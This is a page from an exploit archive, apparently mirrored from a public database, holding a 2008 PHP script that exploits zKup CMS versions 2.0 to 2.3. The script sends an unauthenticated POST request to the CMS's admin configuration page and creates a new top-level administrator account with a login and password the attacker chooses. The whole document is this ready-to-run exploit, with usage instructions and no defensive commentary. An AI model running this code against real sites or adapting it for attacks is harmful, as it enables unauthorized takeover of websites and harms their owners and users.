[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : zKup CMS 2.0 <= 2.3 Remote Add Admin Exploit
# Published : 2008-03-07
# Author : Charles Fol
# Previous Title : PHP-Nuke Module Sections (artid) Remote SQL Injection Vulnerability
# Next Title : zKup CMS 2.0 <= 2.3 Remote Upload Exploit


#!/usr/bin/php
<?php
/*
 * Name:    zKup CMS v2.0 <= v2.3 0-day exploit (add admin)
 * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
 * Date:    03-08-2008
 * Conditions: None.
 *
 * This exploit add a new zKup admin.
 *
 */

print "n";
print "   zKup CMS v2.0 <= v2.3 0-day exploit (add admin)n";
print "       by Charles "real" F. <charlesfol[at]hotmail.fr>nn";

if($argc<4) { print "usage: php zkup2_admin_exploit.php <url> <login> <passwd>n   eg: php zkup2_admin_exploit.php http://127.0.0.1/votresite/ real p4ssw0rd";exit(-1); }
$url = $argv[1];
$log = $argv[2];
$pas = $argv[3];

$postit = "action=ajout&login=$log&mdp=$pas&mdp2=$pas&lvl=9";

print "[*] sending evil c0de ... ";
if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.n";
else print "failed.n";

function post($url,$data,$get=1)
{
	$result = '';
	preg_match("#^http://([^/]+)(/.*)$#i",$url,$info);
	$host = $info[1];
	$page = $info[2];
	$fp = fsockopen($host, 80, &$errno, &$errstr, 30);
	
	$req  = "POST $page HTTP/1.1rn";
	$req .= "Host: $hostrn";
	$req .= "User-Agent: Mozilla Firefoxrn";
	$req .= "Connection: closern";
	$req .= "Content-type: application/x-www-form-urlencodedrn";
	$req .= "Content-length: ".strlen( $data )."rn";
	$req .= "rn";
	$req .= $data."rn";

	fputs($fp,$req);
	
	if($get) while(!feof($fp)) $result .= fgets($fp,128);
	
	fclose($fp);
	return $result;
}

?>

# www.Syue.com [2008-03-07]